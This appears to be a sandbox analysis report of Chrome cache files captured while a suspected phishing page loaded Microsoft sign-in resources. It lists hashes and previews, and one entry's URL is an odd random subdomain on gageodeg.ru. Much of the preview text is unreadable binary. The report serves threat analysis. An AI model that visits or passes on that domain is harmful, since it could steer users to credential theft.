Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.398500199255723
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rH8zH5ei80aszzQhpd+dr6F/PG2Xv9PL79noBL5o6YBU91KL5Gc05:1a/0H8zH5eJdVplGYv9f96Yjy
MD5:	301F68F3D8317AB22D4021E266C9A853
SHA1:	B464B8B48880C53E9D203A2ACEAF3FDFEC517D97
SHA-256:	BF2059BE7007CD21FDD3B5DF727B89C8916142F7ABADFD46408DE17778699FB7
SHA-512:	1B2C5CABA6A54F6884E8DC40CB31FFDAA56DD3833DE8F97F0843811617207D1DF0ECEF75E9B88F652D42731E6784F6F51A7021FBB1515738DC5DE8E4B90A5682
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/g/849bfe45bf45/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	downloaded
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57510
Category:	downloaded
Size (bytes):	16345
Entropy (8bit):	7.98960525258912
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:hOBKJBXO586QB+11J
MD5:	187B9EBA41FDF66B2C8F7EB645D2BC17
SHA1:	B1C034F7F5F754F271D094FB417B9A820C1F712C
SHA-256:	CA0FBF8421A0CF4CCDA7310B2AE74CBD92214901EC2D0F273EA3B07F12CF96EA
SHA-512:	0D7FB682D24E97C9E3FC04AA87CCB8EC508CA0CF197DA0617EFFD981BC8B5E3600824FDD08F1F31F59D276B5BF53229D00805D984E01D512FD968610C5FE9609
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	downloaded
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	dropped
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
URL:	https://f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru/FXUlHfBCTswoYClXnVBsEvsBqlkNEYVCLNNXNHYSQNLZCMMECDEYJPEIIFNOALYZPLRTPRWHNMWP
Preview:	1

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	downloaded
Size (bytes):	116343
Entropy (8bit):	7.997640489040715
Encrypted:	true
SSDEEP:	3072:s8ovOS/D3L+TGsLMet6+iNLTMMqfC4hyFv0As5:jNSrij/t6+aAMqfCoydM5
MD5:	3063B0DA40B45B46602FCE99AC53D315
SHA1:	57883FF854B80AD2A76479A0273BE9218B4DA553
SHA-256:	C60FB365DF08D31F36EDA468941C309AE3A917ED784A30495800F05E5F98B66B
SHA-512:	3EAF55117A825B588972F6AE324F6173EF4F2A309BAB69A9A6CC43C8F9A4EE25C2FA86752C8912542CC353727DC54A034B369D4A4451F0C3B20206C16FA9FE98
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js
